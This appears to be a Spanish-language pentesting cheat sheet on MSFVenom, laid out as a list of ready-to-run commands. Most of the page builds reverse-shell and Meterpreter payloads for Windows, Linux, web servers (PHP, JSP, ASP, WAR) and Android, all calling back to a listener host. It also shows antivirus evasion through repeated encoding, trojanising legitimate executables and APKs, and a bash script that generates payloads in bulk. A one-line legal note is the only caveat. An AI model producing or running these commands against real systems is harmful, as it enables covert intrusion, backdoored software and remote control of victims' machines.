MSFVenom - Generador de Payloads
MSFVenom - Generador de Payloads
Section titled “MSFVenom - Generador de Payloads”Introducción
Section titled “Introducción”MSFVenom es la herramienta de generación de payloads de Metasploit Framework que reemplazó a msfpayload y msfencode. Es la navaja suiza para crear payloads personalizados, shellcodes y ejecutables maliciosos para pentesting.
Instalación
Section titled “Instalación”Kali Linux
Section titled “Kali Linux”# Preinstalado en Kalimsfvenom --help
# Actualizar Metasploitsudo apt update && sudo apt install metasploit-frameworkUbuntu/Debian
Section titled “Ubuntu/Debian”# Instalar desde repositoriossudo apt install metasploit-framework
# O instalar manualmentecurl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstallchmod 755 msfinstall./msfinstallSintaxis Básica
Section titled “Sintaxis Básica”msfvenom -p <payload> [opciones] -f <formato> [opciones_salida]Parámetros Principales
Section titled “Parámetros Principales”-p, --payload: Especifica el payload a usar-f, --format: Formato de salida del payload-e, --encoder: Encoder para evadir detección-i, --iterations: Número de iteraciones de encoding-o, --out: Archivo de salida-b, --bad-chars: Caracteres a evitar-x, --template: Ejecutable plantilla-k, --keep: Mantener comportamiento original del template
Payloads Principales
Section titled “Payloads Principales”Windows Payloads
Section titled “Windows Payloads”# Meterpreter reverse TCP (staged)msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
# Meterpreter reverse TCP (non-staged)msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
# Shell reverse TCPmsfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
# PowerShell reversemsfvenom -p windows/powershell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o ps_shell.exeLinux Payloads
Section titled “Linux Payloads”# Shell reverse TCP x86msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell
# Shell reverse TCP x64msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell64
# Meterpreter Linuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o meterpreterWeb Payloads
Section titled “Web Payloads”# PHP web shellmsfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php
# JSP web shellmsfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.jsp
# ASP web shellmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f asp -o shell.aspFormatos de Salida
Section titled “Formatos de Salida”Ejecutables
Section titled “Ejecutables”# Windows executable-f exe
# Linux executable-f elf
# Mac executable-f machoScripts y Código
Section titled “Scripts y Código”# Python-f python
# PowerShell-f powershell
# Bash-f bash
# C code-f c
# JavaScript-f js_leShellcode
Section titled “Shellcode”# Raw shellcode-f raw
# Hex string-f hex
# Base64-f base64Técnicas de Evasión
Section titled “Técnicas de Evasión”Encoding
Section titled “Encoding”# Encoder básicomsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe
# Múltiples iteracionesmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encoded.exe
# Listar encoders disponiblesmsfvenom --list encodersTemplates
Section titled “Templates”# Usar ejecutable legítimo como plantillamsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legitimate.exe -f exe -o backdoored.exe
# Mantener funcionalidad originalmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legitimate.exe -k -f exe -o backdoored.exeBad Characters
Section titled “Bad Characters”# Evitar caracteres específicosmsfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d' -f pythonScripts de Automatización
Section titled “Scripts de Automatización”Generador Masivo
Section titled “Generador Masivo”#!/bin/bashLHOST="192.168.1.100"LPORT="4444"OUTPUT_DIR="./payloads"
mkdir -p $OUTPUT_DIR
# Windows payloadsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o $OUTPUT_DIR/win_meterpreter.exemsfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o $OUTPUT_DIR/win_shell.exe
# Linux payloadsmsfvenom -p linux/x86/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o $OUTPUT_DIR/linux_shell_x86msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o $OUTPUT_DIR/linux_shell_x64
# Web payloadsmsfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o $OUTPUT_DIR/web_shell.php
echo "[+] Payloads generados en $OUTPUT_DIR"Casos de Uso Específicos
Section titled “Casos de Uso Específicos”Buffer Overflow
Section titled “Buffer Overflow”# Payload para buffer overflow con bad charsmsfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d\x20' -f python
# Resultado:buf = b""buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00"# ... resto del shellcodeAplicaciones Web
Section titled “Aplicaciones Web”# PHP shell para upload de archivosmsfvenom -p php/reverse_php LHOST=192.168.1.100 LPORT=4444 -f raw
# WAR file para Tomcatmsfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f war -o shell.warAndroid
Section titled “Android”# APK maliciosomsfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o malicious.apk
# Inyectar en APK existentemsfvenom -x original.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o backdoored.apkMejores Prácticas
Section titled “Mejores Prácticas”Evasión de AV
Section titled “Evasión de AV”- Múltiples encoders: Usar varios encoders en secuencia
- Templates legítimos: Inyectar en ejecutables conocidos
- Formatos alternativos: Usar PowerShell, Python, etc.
- Payloads personalizados: Modificar shellcode manualmente
Optimización
Section titled “Optimización”- Tamaño: Usar payloads staged para espacios limitados
- Compatibilidad: Verificar arquitectura del objetivo
- Persistencia: Combinar con técnicas de persistencia
- Cifrado: Usar payloads con cifrado integrado
Troubleshooting
Section titled “Troubleshooting”Errores Comunes
Section titled “Errores Comunes”# Error: No encoder specified# Solución: Agregar -e encoder_name
# Error: Bad character found# Solución: Usar -b para especificar bad chars
# Error: Template not compatible# Solución: Verificar arquitectura del templateVerificación
Section titled “Verificación”# Verificar payload generadofile payload.exestrings payload.exe | grep -i "192.168"
# Probar en sandbox# Usar máquinas virtuales para testingRecursos Adicionales
Section titled “Recursos Adicionales”Documentación
Section titled “Documentación”Herramientas Complementarias
Section titled “Herramientas Complementarias”- Veil: Evasión avanzada de AV
- TheFatRat: Generador con GUI
- Empire: Framework post-explotación
Nota Legal: Usar únicamente en entornos autorizados para pentesting.